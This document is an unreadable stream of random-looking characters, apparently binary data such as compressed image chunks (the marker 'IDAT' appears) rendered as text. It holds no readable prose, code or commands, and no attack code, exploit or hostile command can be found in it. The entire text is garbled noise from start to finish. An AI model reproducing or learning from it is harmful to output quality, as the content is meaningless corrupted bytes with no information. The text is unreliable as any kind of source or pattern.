U=}g3O+λҳ6{_pW#R.02\pE7s1qiD~*4c"]P.(k|uG@?p[N;Ǖr>jAVQi?49kAŢ76ziy ZSl})5TolRֶ@j>#u&q@@l?0(h&Hr!}{Z\
xdN:q_m(B!4]ԷrG;[e;5dBյV\=Vg~ad[*FӀ#<ԻܼcSwO}ׁfo	J冬>fdQ׵,ei	F`WSLr#w^Pn<DWP4W楿ȋC?yUYx'TB
ؚ9,(\ĽCHO=PBǴ/@gB33srC̥t9|ٔh(]jI4on?Cs-xV{D+Hig#Oԡ@]Aվr63m2?_.Q>1h^"gG]PA!H`*<7=[佚S_s]WNs.i5@CikJZI_yd`0[&8"HX"#1_&ӓqNqz[A^=$`vs&T>ra`EU;\^*l,Wzr8s%%_!?kB0.
d9b'JLNP^nu%)"U1
Wi	?q׍S.	֏=i`-S5Z\pvgs],8|0-c<yʗ#=DQ˫0r ,|D>kdS+$SFl[ڐkR!giXwZvY"<b?8LY	Y3:\Ͽϣ縿Z"ݟ;<O{~dPyWb=X?ŃM/Zy|ok)&Ni2=fGMw*=/>zWKQ!~VgSw*𖯜43o	y=B		(|&*}NFjh+<Oэ\#y=0/-'߸gNn
#?PQ稦Wlb܀cŒqV
C~ԿVaLXLcl߹X	|
I=EyRovY6eosGtMlcs]^?;LmPkQX,	
U~I>5&;*lIBV=;'}n
{O
 yyD\/4&O=SE/lg~b`Cqo
oO!~AG<B,I]hچ9Cd'g얕WdxLghgMPJo}^W;x՗l4SXl&L9$<
eiMYdc.~b\IZaTRĜ~HI!Nҏ7sysMmĕRu6Gl'eJ"3~v|<^+o4)99ݭ0?>Qʦ^ԋ<
`15u>;yfj{~?JW ʱUYkPc9#܇a=Lq[<`l!ή>Թ9JiFd鉸0a_ڬcY/]E[:g|ʑ
G^YmDVS~De#ADqRd׀LǿbQ1w_vGuieP]Ż_śk
Ts_f5OYC2(Te,aڷ?^FTUmL1Ozmv=	crHre!SOdn[VO
}Jgx_ቋ_uM"#4p&2bc6}[nOQ#$mG
ؿ_x+o,!5~;?|ߚU=oD2T{O&9yk9,o16R/z!%i+>@]Ξbj{[yI^Ķ|\^朆QZGyQNf?<:5VO,w~~ӜO~gh&mĔL'Y?Tkz#K-a^SkT=:t0g}TOLnl.ۙ-FgiKVت~x坡{_Z/Q339kFh-PKW'k
&wO"&pr#Vu#g]:JHB_Oc3~∋
PLSvZ*̴BIˤ|S_;^&yܓ/p*+&I'nak[kvRv`ě8iߠq*|dG?YoʤnzV44\'[o?͠-MW?ѩ~>Տoc4
pk§'YJǜ۹jM`DUȞYϦ"ltT\=-p@w
+6zJ:]Ƶ70"ߡ<2OwRQ*gOzoT5';ϱMNP0"㤤"YW
	1PښWO*oQ%oGs/(K[ϠQC}dUgY}IB<seܸCy0_aFRLoCvVyWbLmNЭR:j>}A$Voy
L$z2'jx{<Q㎩)MHs
c{2LO{U&$ -oY
5,HA
"f2hpԬ'|5d?מJ@CތL̳<P=|KW
DksXN`iO:&f&	ؿ\?O*UįI๚F7yy#l!9^Z4Ij\tDaT'S^{#v#۶1
,]D;zf?{Z%#݀;껪!]slĴ@̿7NZVyU%o: r 5I_[שϷuejQڪ_A/~KcV;o(P$ֿl@߿
mSՀzAGUR$8u𯸈ykW7C
DC5~W s.1~nTREgK߉g{ϵc@y`\&#ת:l3NIzSs6(Rw־pܢO*?<
*'_[
c\B?n+ǁ{~.i/_Od7w:\;^~uz,θEd\:hQ|Sx#'mIұm`jC<1m$(~;q%G_gm?O|_/
Jw^%w;#9NN[
u{ßQoz0PDW9d
p?Noo+3l㑭G|9}Ǧf2ەh̝oyA_fj_\m2fӘ9m^)t_j	L߂bJ<.R9U/?<^w Θ>ъVzx'V$E$ )ǫCϝWpVma^'wLy"_?ml|Vn4M2'2AΞDf+fc%1p*Z߿aB{8_l"@nbs,G,[yx4=mj߽l[u7RóR!Z.L8dOyON\JMW\c?:ʜT┿8Ub*U*b?l^,jq xgM㪚S<ph8Ȭ(ܛgOp&H3s|gۤ*O^&.'Yȩ^ߜDWpR_	yhs/=[xUɋETa u\2!9p_$\/CCB}˗چhQ<Pg仗DM?1Yۊ:EG
a×xL?~Ήsս>yWqfIq~nyG|=N'<%АQ)~ܟ#CmGv45'\]UkGB{ck7R3|=]5^-vp~&M0'=!Kt[[!LlYnݫ?եUFV*]z~x)A\j;M^Z_k%TġI~ı|S{^KG'LlOTVZcˀ ?ӿlko_<2t
kݮK˾Ľ3;oǸ7eKg#kT`G7.]t͎l} Dg3\&x^

$*|wqly'k@JyQE\ŗp0/ 4,|ΆcbZxs=	䀷zg!$.9H8{W`(8PN;'7˘(P.8mNpʟ<=hg/|EQuc~+,ILPp^^kx͝C:^z-_m(	;co}_T/L#0dB˷e-0{fyӸhէ躄9㿩OaKZۀ14Dh\Q|gM}WTயܼT_W5WZcƕk^ێGP{1ne;0{PRxf/,wO̧T$x
@Z+XJݫwOruoR|0pSJeU$WclS]mYqwQ?AQٚ5x&*$2rV&3eqpr'}
=GoBF1!×ޜY[Vqm+J&vYA9<՝4;!)Ww||K-RFG"	rU}+
X3\ͼ߭q{F?IJl}
7m9Hmp<uG?~4{/oTkǽ
*phc[pr-9D*!yzQ!֫j7~*v(<yzFQ17<I?RC	أ߹ŝ_t	#2{
V3z8Ѝ(ǽh^hԚFh+P#˿{-lЂYxN3h~ǿ[i}_eJGFC5{aVj@,)D7
~W%u'w{ӓ;l\4F$C<tP'Ez`
v<4~3O[G` ßۋ眙bepSJ]Wε
$;%-
؟='^Úk~}D>+~'C.oNNi\֫'4`ˁߟ4*Zw륔oʳCAEjO]yWWy:޻>bߚ>WN_^OGHàIϖݫbZsV%	
Lh2;?%tAY/>D?Eyrwuӿ}NH>DY`
LtJ;?|jxEz}7wfEcY_)^gkVsL٩Rp()ݧ Hk;{	d^RхӰs>/U#zCGcCbq?̾w*4Wܟ{U
׷R}S4Gޞ5>.u'"3OٯؤV?5Ԗn5Yy]8w{%V)4wX	oӮ,Eδvػjl=~VP/-{駗
b$Q}~e};ps[di=@{]+{69ʩ=<F?֌A'E
h_UI֓c_/]L{੦y%[]^遲8y*{KzLqm	)aX>-?HsUƲgC_zL󣤸k[5`-zpo>n/>!KV,⣯XqoyY奚Tޝ6~#,zʶXsb	2/Y<x}U{Dz8$_^Ha)^=J!CҁR@|]Ŀi+ŕcJzg_p?!fAYRX.$ٮo 6TG
Y'ؚGpo,jp	}i;h#$M~Lg,ug*l59%z	W,.B@L8+uH^:`;? ŏ9NLlua*=nVԷh.	Mw`No߰T#3Kν{0?ُ +zW5]>+%EGoNeqca314PӮlͣ	K&^&l-EM"_Xc
G/.5O%W3<#%gp?_cRN21@yzWZe`PYϤ9&56<q0gKUg9JJ됔!B]_,jV̢?AF?=CS5]ۃH
n6cd5{iZ@5F9h?;6IO>H-)6$}@wv*6Ygź;V0L3TkbY>9c˜>jnpy8do=g
v;"Vk7u-ď!o;Oϭ*u}faw&r	,Wb~cuo~MI*frݿ\ٔhOjNN\8d-O`D?rD?j⫐^Wʃv(N5k^>.EHdX@FG	&+1|_Y<*5pV҅I䩎bAy{Se~Z@l=PT5R!ɗYK!.fs*CЯࢫ+xz(׿Si5QpMP@9gJ	,Ǽ9Z]Mo?Ϫ)r8xh_!~ysPKRNޅcw-@:QUPO5s$XM=\~ B3;CuV͝i5DVps]pn/|)zo؛$_S~vc_f'ͱٙl]ƫZg,
!Cj><3<˖7R0\w3MViqt@Yeb9N@1OHNRߤ{?yIPVMpr/cqр;xj01%9;%
'|si^s#H
`)yƄpU+,W)
z!
_kKEL/G`զA4+u'4Nsk
s?R%&>s^SJd'?rM}TI:FOϚU뙓?3'y;3\QY	RT?AIA8'şHfes;u9xʼn:uOb'q52/kIQ'Fq"(pw.]Jߣ5V?<0ZOCǨ揖wACacErMǫwWxWٝ!;Ϛל'BT7	>9O\[ٌ@2L;qϿu}e~|_;MO}W?w!9ٲhmV3~8i8SWR/Y|յz*2ջ
ЗOd} r(o9FjORGz-'}m:yŘ꨼w;_
!ZgynnxznSSP̙Tz[Z\޽BԾf_769O],> 81lױ]޻en?*P&`_+Y83v5c(rx)/Ҟ3ʸ*:+xZ?SY+j' ^mOւZoo@YG_M|4ڣX*gZ{"o|ާUi$b	Ix?k_HP
i`=z6BMHn}÷<5]=D+QWd^戚O}sq~Iu?_cpd1DϜ?/|xzf:2Dpbl5M|ƥ;@UיׇN<=cm_kRo]?;:퇟9ݿpojQ#Y-&yӗדG4URmyG8UC$達y_pHZ+&_&R:{)#>?d<׀CD'IɇT?tQ0m<.XW8uϏMIˇ~砶me]Pk	?K9}T֤ܳ^q:1v?j_QL='QGucWxsY`M({)TÐA86ԢDUX$Mˬ@(5$KW	lXM/@,9:h~r<V!`+y=3mplhpwpkM?<o[]oDIt^S_X,>7_8wwhOH@cQ5{P=齲vf"̲}tyo <ݸ	}i$=ZjMg5[Uh
ʧZ`/}kohVS8nWsphwתf='7G`q١}eSj?U 䭈w֕o[̶4ߚ-sV#ZSs4 W^VvVy=IOsҐX`sߊ^?1X<?s*pO),B}&(}M#N޷w-vX1WE\]
s/եsw*}m3?I.4#nX}Nk8^bwMzς2wwAW`\2K\:>γ=M@dΡ!m<g	̫\?SƢcws2{*3^E`X{]="ƦMI@ΙI`ѿ'ߍ'}P_滧3_ sS3s.sj~.~yz탘Ty[[߄Ư3ﷵ9YS.!oİx_gNx+Vd:Վ^۳4"ݳSo;5I\[PJ{թɂzJs#TCz/}-_y9{%9u'?h藧V!IsNW\
PyFO	cHW=տxlu؍=Zs˷ѰC&sz޹/`+e_ZGQ~*hbh,TT嗧?ԇ_ڸ9@IDATଧyϟ^$w!hk6#=/~xtc'=c?|`!Ugo%έmTڬ?>:H
jwإBoK9^<20Y;(ʹ"ef}o.0O4ь~W%
-%MX|#}k^v(;2_Uk?[ɀ~
[auV.Iⓨo$SGȜcMonԔЮn}Nڟ
17r$×&ar%oqRuU^P2'U]oK
ȍp"nxНE2?ɍ݇*.w}
NO6ܶXm@j4q)@xȫ"+'`N)8d{ 7WJ &M0ϐO#xK>QvϓpF$?~\u0'Թ
M7|Uي5y)SX?r8kRٚ
IHg˷?HFʕ/l_z$elW<6}^K<įɜ8+]18~ù{Ⱥ.藟j*\o)\_"?pnAJt>zwTg#݆0SDH$rBf͔uꋮ}Ow!W?$vo|wpOˬo։ezPA_w{>3xJ}?G-ymtv}256vhg7<NX|,J*}$eŝ<nx7|i(-N>IQFw Wyq<lHj;W~a
F{;UHl+ߕU]2T"Y<EHz6“M
5fYĸȿsbnuf.-Y-җ!H.k=Oޤ3}L?şX$դ/StxusֻªRsR)6oj:hX=ͫGsHU~q/u>:j(<JTp#OW`x\~ӽQёK
yJ?
o#yų*=" Tޫ48`Urd>+HOZ[ceGq#J`
 3!&_A{dkh*6fCR:  >!˓pʊLInEsM.t[7	`O0
cL}Qd_3	=e ޖ3+[7y:E^4D$}ɺ GHS&t[_D3s-rb~py1qIYkF9i>*0ek9WJR077/0>g})Ȳj&^FQ0"YCL4'SB*:VѼm5h

Wi7H!?9ڮVՓjo7 ڿ3C`{.]9?BSeT>{bQ0Pj.U+0lϿIMsVg/BԌ`N*ktdbvC@&/-i[YX	lHW	i/1g!X*~Bgb-5_$yǼn|7P':\R59or^t)[ ~Ea
Mly<$ݬOݨA{?VW|+7kAyj]©L"FNhpfM\	
`Fkv#
roϿ?{Zq:PB>!Iҿ?=WJ̋O)]@9x	5Iohn\<]=|~!>NYVEpl[wj샟~<o0j"pŇĨsmHyqN	+ %Db^б퟾	ۡ{Hҙ}ET*SUӿKumܙդ;?ZMQ?/+lrM1qb&TfS'9NH+Y.³	Fg-ƊߥKNA%?""7ՀSֿ0;V/WlkSDlsxA|7~GcSgX?yh
S}~OKP?E'`,Ln925sW>睙g%Ҝalv7`2G߆v1;_A!X0+j’_)fPN*[{|L﹫~1(~qN^f?g{zGUȏaobMSI+<h
PBLۉ
pۿf<5q}*?SVWWdBX@zS(INCwY`<&l|ǿ;{#D\oG$Z?6$?hvWDϖxԒAwπG߯[tw?l82"[6}{9uCj~KCgqs=αKK`åme2)Y#
_a};_ys|0^JIBk쓝w{3zү\ `忆ә{w/z-CRjOyHInҽsxt(rO@n>DAwuum|z=_e,;:Y	*T詟:&EES98qsg/FDr|?;LɄwo|]orG-_T<|'#1+`sd3oq+s&
L|\WM]qĊoO3G'PnW}<a=gv
^̽Ɉ'@&,$söVzSc*,1	ߩdwz)9!~CCm'98~X5YQl*K|d}:'~>J(
.Ue폳r7=4Im[>wg5iՊu{GwOzvjD孺`;O?n	<;Z:ϚG؜6}I*_ЈZhs/}><j:w8zH|묀.)VO	T_%ɍsuEb&{˰<ȀH&^l==WG~7h́սC呵BUe,?x{p
61kVչ@7PXO~A{i]aGgo ?.,#.+N@|[L9	ٝM2Ƿo/|g?"/ݟ:w4q ?y?t`uOrퟰxh=d#}'ˋ5Fྣ|)y_^-&I*j0*zΥ:[
݃5oq}	4Cƿ0CDKb
Ru+Kӧ(oFIǿBֿ_t"~A[)ǟo;-~(eT)C=}/d(za
>9GCS	+zYԓOWK˿T6=x_O|sO&)yД(si8(!)n㘺8gx{)zᣵ2lx'IE'ĕ|7ٙ?hZNM	``d[+q_,<L%$ MT))YK<Vz@+ݻ`X?ݿ.13=IT
?;ݼUk?z;?uZWg|}k"lE1Sx[͐o}:=?tdWH
<M4/5럔視jclGyl̹h'::bcGVi̝:$@S_bOok~T3ި|;tշJi)nf2Auu8eo~><+NEZy9yؔVߤ\}

u TL<1T]w%Wp&	`Re.gL?RxV$A噭}3"Wlj䬳ǽ5حISOG'U`=4/a$8^(&|)PsT Xs+ER:hU|m:KPŗ@>ݍ]en~
'Ls5pо[ҽ!Լ=oK]sbIe&;w#ѵjl4Tsf5JZxFCyBQ@4y)ؼ'닀9ѡ6{9Xe X-;|e</[<K,ٓe7j j4^ ڧI_V
"z}46+>=^loN_d'xw\ɼkWeVzSzb3uWj]%z׿8
K~b77žK(F
s az@?GУi,o%FUjW,֚X잝;lwOX5ќ6RPs<s?`lSQiCSPh-,/#9r_E̳U:򕟜<Fv\
NJMH<<#:d}a5Paqִ
AU̮qr9M~7\4pP;pX	,U?b	8-"ϣO&ik!׿3F?
/?aj%"/5y+JtGY%-T@]L_v\vOMpYBվl?=ß?exB_uUw+ѩ*ā~5^Wl1
p4%4V<q8gV?1EnǷ%A|xk]B
."粙IaPqMbMI"j/-빒*,Ip^c֡6&#ؙv|m,a/	FlB,ʷhj\epb<}7g:d{ͦG^zd^hzԓ',)SC’Z ۏLٚUjl8BsZI;#`Y>ZS8
XBu-`]TIb֎௻c@nc.<#Pu@`.$x<g4zǝUww|JԘn>>{C/aZE@$Kz V!إSIgf{#zBsU0jhl
vz:"^8wv9Ki7H5	+Ϝv{wnȭkbW-ɱ5:-SQ?z=M]Nm.|xPX-8;CBEta_l)+IkGy?:Ʀ9WKs$tNpڇhmkrVx@Qbu3j^PIVp~X`&JMLrSI?(Ȟ>ĩk/j}b~p٢nj1'7F Sؔ2([ߋ5IP+	yrp-}?l.&!sz}w)Pr^rO"86#$$흌F;"ɲ/
fϏO-/Ƀwjy*,6h|*<Tco/G3j%a5}W,bcȶ}%8`,~O5XgOK~`Fe
gCl>R/<*;,r[ArYɐM{/lMVAVN"?GU $8ս	;`钇LxOl·̨J>&6T
TPu@Z埰t߬xZ~zXyPOij+t0͞<yV\[顼7*ld&!^U0dFDO	bCt>cv/RR5^D	!xfȼ ;;GT3%A֓ҷoq=	(}r1(WDoQ*4/~V~:MO{g)~XDE6yaD(,>ΕLa
*+?bcWp!60YV=FPsF٧KPD2EgSI)rt,#ǡ}MUʏ{h@Jۡ`*v,|aYfFVz[Mǐ>A6()OD6UyyS"Iۗ˫u\O87e4&4ɹy7Z!
X
ghjMBʉ^	J^j~ՕL[z7,{_
4]^U՗e<C:ꋤzށqgBSISv&0~S
o۾zwbҥWf >ĬlϽXXqH+0u=fX{^EMzn{j#l{PXkU[PN+O~(=FH>s8odc%8L8ʞs{~}yWSO?ȺA9z~$7)'&O`@gBgSKE:/(ͣ(yN|ωϺZfdԟ
J!ruYtUr(5U{[gysQW߿>:AXO=4J?Zxksz9}e/p<{R~ח#>sjVz趧Yn+cc7m쎬y]vt'|+e\ԗ {BwqynUC1@>b[o?Z[̛ӼT{~U<<$0{U8^/FUUƄ42K8#󚿶o7?YDo_}=B<#1.	8(6\ubpg\4zgSnJW$^
ww&-K,53z γ}~s*=C{yIsvI&hIɧ\n&pavwB'S㰑iQYs^s^?gXa
yDn>dx<ʠw{X],g5|_<)0/Q)`иcڏ4g慕
yu %`O_EgmJOiFY}=~^c׳\v}%q{=8j_`F(KZvcuuUlM)2,)>Rx^O~Pљd/,2	uxϧaG
Nk5#CxAy?Q?v~")^w?\։]v˿y1Ko8;3(C&R_yeP
A|Gp&Jf_۽U7b#!h`mRZn?6,R꜄h.FRn-<do]FU__Y͉h~/Ȯx)+:V>"3;=_v2l6h;量TӖTI.OM
6{տ|b_hべ'
V߬RH@:}Nk6 ֙Gh}^`U?Ejd+Z~sϭw_tT?N'ٗxwe|[Z{`ޏ*(`(7<4]m/묛X⵭hREtc9v$5<3?fe-8Q{Mj,֮m`6\mnl3sx.wg?B*5e視\0fĎ}I'C	sgO2Xˬ4|R %DZ
|(
WcoЇ9i(WSǽk <OhZR
-@"L{ǁ5~_j6;+fWUz6w_ʞ(]EyWuwlﭫ1WTfQO_fl^&ǥӄD_B
D_c"
veLazǞ?_c~
tv6tjr/P
|R-fZVĬtwvkMjZm;Tj1c?‘{Sū
i=pOA϶c$WEt{MOf܏ZO䪕Z̢F%̺jxuUBeR<#$>uRW>O}u?uՖj,0uJ|kf;gmDM11ǧ~7/;FAY9@z›m)MRc782KViP*_>N:耷-*3bNGΓ+4/<:x>h
Bhs?Łi*.ߌ@AԓїoԯjXr
7͍TN+su
'oeՁ'wAH~
%8U=ELCEӞD0ycnG{b{I<@fo6xv2׬"JBJk߆p=r5Ӿ<>4#ُ^QO}cnS1g	:@`.oq 8nymƒ||bJw!h,Zwf#_E0Oz.1f5򐉮5%69MLnz2._	UzU͹sW(aJk@q|pʫH\ޓ
֪:Uwo(&gE!xQa:[xk/{L~ZRi*t01b~^Ɂ_*ݠNw}X׃{F':c~9D?x+x]=Ӿu$v;RD|5?j9K45Mm1`MLo	3]UBY3N@#kP?Rȋ*GKo%d:KaW嬄>^Do(e$}Pw'q=_e'p~#B }`lnu{)6u/=z0\X3Xy_y`B鹫|*QH~'Y"ASޠ8Ƭ;ń߻V|vG?Z
!f*2WiqX^P"p
^Q]y~7yμQxE'뙇C%Hd0x9bMCh)]mkkv=½^^[#
Rќ4Bܫ{O߅1JisuP+!z,dГZ_\˖C˔WbvNl\E@?'@0~9L>'60-U
neG35caDĿ& AWN&wUފ꠳
x_y~(q TB~\Po@#BB-2Uu◗xb\C\3~±>l?K|B0rlrgU][UM9ۈE(/
Gg̕_K(B	1ؤYI_@ ?ZU`lͪ
dۿU`TLT4W,O?BM0VXT)_>Y:4Or88`
J8z?m,DHo2%&^Tۏ 29ł6<|;$K8<x"2߫5RfʈDV$]Z2e}w~,lq\$q!CG˿|y@zI?"cML6؍/bl#~zR4tY@%Z݋~ͫ5Z"fSz#EHuoɥK,|
`J> xm7k*MZa<h{!{{5pWUq7R1VcXڏf-Te|ʏt4h6G
D;ު?z]-‚9c~w!UOY]?|-/UGYߍ듛'=`R/=O <e3E5l6UV+kOulF^kBy=uU|"x5#ڸ=/?);SjąOl*mhG=p}
q~U@Jw4A{#IGyݣjCfs]3%wּ1!4ZC:bw&#Nyη~2k\m /(	$'@޷
/YL1m
({^{$K-~;
IL	ާ7 çTW%z=\2ـ[rCpb4_uKVH?tA͚hcDz!/u؋F`UطqAaX[bhzJ'4ӝ~hHG=@*u 5XE):RWy\{wpuaf?֖}z&Qe^JGD%>o{cf7ڋ,5 vj͢zT(ֿ
YH9(t^3}0/iT\o.+xh1S:
VPҼM爲|<VV3GXӴf_]`‰6$N5א&5笅<QgnW 7?V?^oGjI?Fߞ$"NJ>5A}("_do{ѯWyk!Ak4=}n~<
ūⳕ>!j9k
D..1LMQHl-=$S\Y9"5brm4KS='0yRlJnm,|e7Fyu ݇`U`SH|lȀ`lꐨ4W'f998_G枿s~ῦQӘ%&
^#z>
	t!vO
[KIW?Vsꤒ uc)iN,`흈IDL֟Az~{Qax*LܵGb SG(JU8<Ў^<9GF2]pk%Z>94:d@u7wq(G95<KB\{3T1[W1`Sy_O٤\F;N1)ZMܽs##PX./5AgK}ooe?z$ɾ|k<s@C{ͯqtY{WkVLX?Ƌmy:v?xMui/HftVW+(;s|U|~ړzri?";vU>5"۫>%sß?$^
sVZ*"'ߺ**Fzsq9
_5uyw'
=/f='V/zC?Ol绱/XEF}9nhv֠᩾d5Xql.Kԟ\C3k0c_q{zw%^0m4ܫkl92jGK*ѕɝ'	϶3k(8< :9s	Qrq>s
dgӞ
.Z@0V>'s=v0C܊sWKUtFCQjㄖ0 6?<n=`էmK'/ѡNˍ{BxtzdkmQX_}h+7g<x~D܀fRuzXeiVԔ>[G׋b?4]dzyCKSjW/MF΍IK@V#\o˟GBd]󔓞
gj8^W59#*ۿuzfuG=x:;eO|
D򏾞0CXYщ$o%fBJ:*RgyJ`y`C6,(yf	;0\Yw/;h0s9U=@,aj/tg9{0Rlv㧮&:y<EYKc1M6ζ2<z
O.:j#vhǟ<+C|?nͩ^$o{)S:[d@=˯9h?RD@~l.î_k\wDoo;n#jGy_WOl[#y	۾^ZcEwPF.3kyjN|i{?ߏWrcŵ|zIJ{šYJ|dD>gM6/=Z#fby8ZPҘwޏsI>AK	1[<N:d!2;sf{|K<%S~o`Ȥs2މYEoP%g'^Oگ3M/oSsPLo$~PIgmZij?ʫ{/_O]yח_<g+w{ޠ݆kOB!ʈqޚ"1oοqЋ
X_c>ZDb%B}hfκ35>zt~M*M8fG&ALv~=oauKڨߙ0*^6#>Ss@]cŤ<uT~S51b/J{9Qs~:$X&=yb:|uc%vx{[рnl>=DA&]{`(skDQ6}٧[<;	Xkm1c2}ף4&#yyBS<1ajߖ8?~|߅	\lrE*1 Σ0D!OWoXUٽ45LI̷@y13	af|޷;>`yGown7/P	Ɉ?9#0ujfi}2@Tx~ًRqFG|CxwQj@uEʟT5D%8̛o=X+ZO鹣j=r}{@%_[QGpIx;HA閹y
x<0.pjHIxgeu8\ݨ_?/\z	N?ہd&jߑ@>2[LJ2KN׹FK"0|W}#D|LL{BK#lg xhIB_b;'(UFl5ᒛU#&g<g"lbdt#>;^U/>x/R\icSpٮOBYĽ狤$PyQN
Tu/q5UFa+`knfswu(G곔l,XGTjG,非[37LV'Nbv1S^`ҚK
EM!i*.NszW?Xeֺ'i2<kI=R;$UocÃ#eÙw9Q`FPCSȹ̼}X@N}qᛞosl/>EJ9ہ~]P]m}nu7&띂S{zн<${]OIUy}ZBКN=o`[eq?okq
_8j}4/v~CT	U:#אYp(Vw^30aU|;#?ZvV˞zV>j{Б AfzG^vCgx42)^~?b'4;מ@{VxRxEJjhnM$zH{V2pS7RXq8*(ilx7*-KXgil҉SpHvbȔ(aN/'=zzviw/?8wJكhFBy~׌7Ht;RO.:_oOp,wGpHl{rZ3ާU1|H!uܡ3RQ5}TK#
#k/t;HV<z4~g̞\}bٿǿsdi^իPp*qPa\km!5P(,ՇxJӚ8պM6"*0\,]ZLSZ˿|~ݣoCoO\#woӎci!1{z7"ܱWy괏L_W}ijj`Ctu[T30?PGY/O@ϙR@eUmVwH|)M	F\*vv)OPgC>ާSqk
±KTy,=7Pe|G!=K*ͤ=
Z׷{)Ew{%B3y}-4ѺR"Tܾ_enǥ$F$~OV}_ﰞnNoW`*o*=.3olNxlgd'Qegfmy1ݸ=}_]}:?oϽ3g[C`p]v$/>@H
hČ^;BˠjƁ2z}pC?jwݜ'um
M|ϔ{uHs#IC[𜃽-uʲp<+!d;v" 6_ż
߷m_UxŞݻeTc6zcX~&xdj.W<wOźc}y}f3H`4ül%VT~/
@IDAT"!
jf9α]w]h-Z<F!]f']~H
!pj
+G{uR^Dka/MQ~}A,oq.=Pn0)$o=w"C3wqмkk+5$$ȏ[)V铦6 1*D%o9USS7޷./!Pgϙ'}TUǏ~KǺoK*]Mgնh[_]SP4_*M<J[?Y6_#p^yO$VFASgy:ӧQjBjӘN^9gBCx9\hlAo120w/$;F9;5N
Gwszy^MAa2[1ik?Y/> ZuODk_ctLzɗ"{Zr:/3WW=j_njS<gVS3YBRwwD-w*BHƽΖ"ڞI+f{'ggM糺}z;~fjIi;g0IVO$68`
[4(
:|>>=Lj}/_tԑk(^7)+8&]4?A0ܩI)~eQK@Ɛ#IȿTӻNbY(;>t^4{k*X*ϸV/NdQY?/Iah$r7~8gG\|EiI^4WzҰay/f_r%<*N[#ض
J(Sh	?VkفkuZzm4sf>Y3x^k(-y|D
K9v^Q!lh
-4mgX_x'2=k,]8ѩ.e4?{lit8!w^qk?B[?$GAUC[[-Wlgy0^X+&tWzl`,X` 6(5p{ʛ䳀WJ)g
MEXY(o*Z1
|BC籍7<Pfw{<۞S<2gZl&bMP{͕ڭfw懦=Sk['Y<?]]{h迏/^235ϲC#i
5Iݵ*D
Wdw؀VqMYǾEl	;C4PtIDγU!!u9<]0Aqn’ϛ?9Ϝ?BE\O6gviσe#\Sĩ\>E[	yӉ?2 YanO)2g
Ȉu_
z!ջ<w:9}p?:ur
*6g箪lhGqĺTY防_o»JCv8:ck`DZS^zVJ9BtMŞKၟUyũu?o7^!D[G'"E݋pZm<%"K:Kڋzk.nD='@̓~&L_>'_"S8wpX2J}dO/`Pf=o~w_ѐr#l7	LÿDkWuT
)S/G,ڸ@ [OT^c~Z'
^ڿN(91ӽMJVSk7"wauEy<ŏ?A8'6KzJaV#p.1_)FcK	;.xՖ@k5AԟP/Ln/rQp|Zw?#O4OjxzP.|sVƃG\KayV^s>8]ĎrVO%r	U*OEA{6mڴ
tmk3.+b7dԿܜZY@~kEGtfeD<
u
F33pX2ϯ
MBt_Lij.ȭY/N3iQ	5/*K"(3+qѭO)~7G-ýA)p7"{fZAKBqO4l8H3g)F<`洦9C@n.W/`*BTb^qo7f*^?skɻs_dFUg|C7juN!n-v\SYTzJ(R3G/jo8
q/SuchMWOjU0=;1z0ϙdn/S'04|~Zb@?.<초Q
5_w5?M莥UWֿsG͹|,++3O_q
>Z
j7/V(&<7&RZy
%Tm
GԽtGOW>A5, [G>E5|7(Oe{['> CyxI2pb5)x	+Bt=?
h5mHǥ>u9\j9;[$Cz0~?XdW}~[*y2C5{|S?;~ʰ!WD0R.$l,ȊN0U/9l$ZS%4*h,wu\oa1#
k.V;gp" |+ȵ$aԸp9]5GWXU6˝l)/NnФЬœ±5&]VFzwO,?/5$3Lj~?N%ByD,pjOl*nVfNAA5S(~(ޓ`V{T>J~@ m\AN"twG=5Eڞ}YU)HFjJgu]
7{K1$
߃}6\g\¯GGA{9-H9ɶu)O 6yL/_D<E~Б׉o_GM7.wB[/+pYZSU{p
z0Շ*;:ӦAds^/R->u
6y5] ʈ>ȭiX(<wI&{)2kTT4[GH:Yp?KA_
DRQe͵GUD4W	cEtzy
,v^9!JŽ>1棟+^fv}U)$O+sI?BE?<xZp󓫷'i_H{i{œ']duRI4*zI Wz߿&yQ=CRj/GNֻqK0h	V[׷u'_o5뇄Ę}ne4;ۘD$S8QDqwzfiK\VY'*u=
yנ5}#OiߗcԣVZqwsruGxW`wRu|WCU^mXY.!+p-se~7Uʰ'J2tg(,!A}̚o쑌,z	Jޙy:Acݗ/CW~e9ȃ{<o@CIRUO8|]dγ~T:[5^cR6~~<m|lH7s~>i.,O/bnmS'Q^"pShO2~v~
o}Z͝@oDO[j	w_d܈QV+:
:}a-tVwӭйο.a0jgoJ$?x
;#{YO=l7_z[툺k7̍Ԋp#oQӢzoeWn-EpN٧J]k͹FvrЈuYyB^.$FFEY/>aO $rbq{
տhH(NPΊ
_"laqOG-58oXʦPܭrsH!4:
x͂Cr	07"GuoYso)8{fc}+Wsc:&Kk|
{)?Y7m§|v,nOVz"f]E0a(yt3}qǗmdjoP%8|yM
YRZF(ꚿa TQ(h;?CуÅ'7<W

zOChvʫsMyRNkjqAT	G&ݝ3t*?uƏ[kaC )xҧߴEQdZڂ>}^?*1aoTvOz	^=P߿\!}Jƹ8|슔uV׀TƱAWҘ3uϼOjXRb.<]'%5S)>\}M~:r~gcʾɡ=S(waCϯ5)NҿY"~lՅ6ub~.}oZi5i
7[7R#{cHvݍ蠥8
\W"#V2&	/NwLU'߳{jToo_k`6mSr;`@;(G7W1@.
?|#9L@On>C!G8(TFyWY?ќ"@z6;.>=zU<?'3ÜLWtF0oD=,~+~^OjIeNWt)ug=Ě	5`V^4:0%Q)G|gG:u"Lc+
Bv%&k W_oFe҈`oo޽G¬zf`x+ZBVO

sT_Y<h=WTxt3!o {(~fp }hVRƮUz7ZY=gv;HQv+ /Pwcqh*pTmiJ	
~L|PF`KuT^mv?٬Pf k<Ay
1^oRAOZ#Pkּ4H3V]4}?v2r<%q$>yc&'.-*sJ=TTbYzY.mG*wbO	ADo't	M|?@ѫg{2~Q"}y߳E;դ]Y߉[;.6|<0ÓA7LOOzц>⟳򽋂XYiuM3hN#;?6{o/ˁ0ćmZ.OF3ɭkyޔc4nykPi<{~SwWf|$7قDKzԓUs*d#hDw&{YE\	jd?/IU&{ <Ͽ[)qkM)=C`Jι-(a]@;_ļ;@[yVo)%;\35|o/]*u?o!i!?O4ug<~PwzŻזM9q,3R,,}჌?35in(3_v_7):xzkUQe5p%-lw[ÿ"mLIs0**iAz]ΝyzAIS'BW1
